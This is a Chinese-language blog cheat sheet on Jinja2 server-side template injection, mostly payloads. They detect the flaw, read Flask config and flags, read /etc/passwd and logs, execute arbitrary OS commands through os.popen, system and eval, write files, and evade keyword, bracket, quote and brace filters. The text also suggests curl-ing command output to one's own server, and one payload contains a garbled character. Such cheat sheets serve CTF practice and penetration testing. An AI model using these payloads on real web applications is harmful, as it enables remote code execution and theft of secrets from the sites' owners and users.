jinja2-ssti

0x00 前言

总结一些关于ssti的理解与用法

0x01 检测是否存在ssti

1
{{ 2+2 }}

若回显4则存在(注意最好先urlencode,否则+容易被转义成空格)

该漏洞成因一般有两种,一是直接拼接导致模板内容可控,二是一个模板语句被渲染两次或以上,第二种特别要注意,第一次渲染后某些字符会按html实体转换,从而导致第二次错误

0x02 利用

读取log文件,拿pin

1
{{()._Çclass__.__bases__[0].__subclasses__()[40]('/var/log/app.log').read()}}

(py2)

记住路径即可 /var/log/app.log

拿到python的配置文件

1
{{ config }}

几个魔术方法

1
2
3
4
5
6
7
8
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base____mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

查看设置中的变量

1
2
3
{{ config }}		//获取配置	
{{ url_for.__globals__['current_app'].config['flag'] }}
{{ get_flashed_messages.__globals__['current_app'].config['flag'] }}

查看模板中的变量/内容

1
{{ self.__dict__ }}

查看文件夹中的文件(PY2可用)

注:71是site._Printer类

1
{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}

命令任意执行(PY2)

1.获取实例的类对象

1
{{''.__class__}}

回显str,因为’’ 是str类

如果存在二次render_template_string的时候,不建议使用’’,因为第一次会被转换成实体字符,然后第二次就会报错,此时可以使用

1
{{True.__class__}}

2.1获取类的所有继承类(数组)

1
{{''.__class__.__mro__}}

2.2获取类所继承的基类

1
{{''.__class__.__base__}}

3.获取类的引用列表

1
{{''.__class__.__mro__[-1].__subclasses__()}}

一般找的是object

4.使用site._Printer类方法来执行命令

要找到os所在的site._Printer类,然后(假设在71个,从0开始数)

1
{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].popen('命令语句').read()}}

即可获得shell

或者

1
{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}

使用此方法命令执行的结果无法直接看到(返回的是命令执行的状态码),需要利用curl将结果发送到自己的vps或者利用ceye

命令任意执行(PY3)

1
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

注:subclasses找<class ‘warnings.catch_warnings’>或者<class ‘os._wrap_close’>

也可以自动找

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

文件包含(PY2)

同样找到object的子类方法

1
{{''.__class__.__mro__[2].__subclasses__()}}

找到file引用<type 'file'>,然后利用

1
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

文件包含(PY3)

1
{{True.__class__.__mro__[2].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

文件操作(PY2)

写文件

1
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

文件操作(PY3)

写文件

1
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['open']('/tmp/flag','w').write('content')}}

也可以’r’搭配read()来读文件

0x03 BYPASS

过滤__class__等关键字

1
{{request[request.args.a][request.args.b][-1][request.args.c]()}}&a=__class__&b=__mro__&c=__subclasses__

request.__class可变为request['__class__'],然后可变为request[request.args.a]&a=__class__

若检查所有参数,即for param in request.args则改方法无效

过滤[]

使用|attr代替

1
{{request|attr(request.args.a)}}&a=__class__

mro或者base返回的元组的[]使用.__getitem__(2)代替

1
{{''.__class__.__mro__.__getitem__(2)}}

subclasses返回的数组的[]使用.pop(40)代替

1
{{''.__class__.__mro__.__subclasses__().pop(40)}}

过滤引号

1
{{True.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

使用

1
{{True.__class__.__mro__[2].__subclasses__()[40](request.args.a).read()}}&a=/etc/passwd

注意要进行urlencode

过滤花括号双写

使用

1
{% %}

代替

1
{{}}

字符串拼接绕过所有参数关键词检测

1
{{request|attr([request.args.a*2,request.args.b,request.args.c,request.args.d,request.args.e*2,request.args.a*2]|join)}}&a=_&b=c&c=l&d=a&e=s

注:这里的[]可用()代替

也可以尝试用getlist()函数进行缩短

1
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

|join也可用|format进行代替

1
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
  • GET: request.args
  • Cookies: request.cookies
  • Headers: request.headers
  • Environment: request.environ
  • Values: request.values

0xff 参考

https://0day.work/jinja2-template-injection-filter-bypasses/

http://www.bubuko.com/infodetail-3516225.html?__cf_chl_jschl_tk__=b1e5d04e6d86ed3dacac78754e151557b4fe42c9-1589447251-0-ATgbz28Yn8Mj2FKAxN9Nca3D_DzFyQfCcRGSY6-VWubX7E27DeXgC9ebHhZcYwyt2dADJTFSLzH367O3ihLsGbwcwRTumi-Z1r1yXqYtxIxRi_0StMbuU6zcWs41d1fEGmPIP0zr_QDwS4dY0E4PlvGm_5iPVVXTADU49X9ZZN2tlv5sof5ObIAVZusvyhavUH9YSsA3nq6C1UJ5SJasPHsLvz6FaktNcE0TryMHB_x8Y6yCnPyIhFVXvdDfLO9dpkacgIliWU2spZQZDnYw4DA83fDc2aM2L8B4-KdfEb6BxEGl6lYp2qsppfFP1aYIJQ

https://www.freebuf.com/column/187845.html

https://www.cnblogs.com/tiaopidejun/p/12357245.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!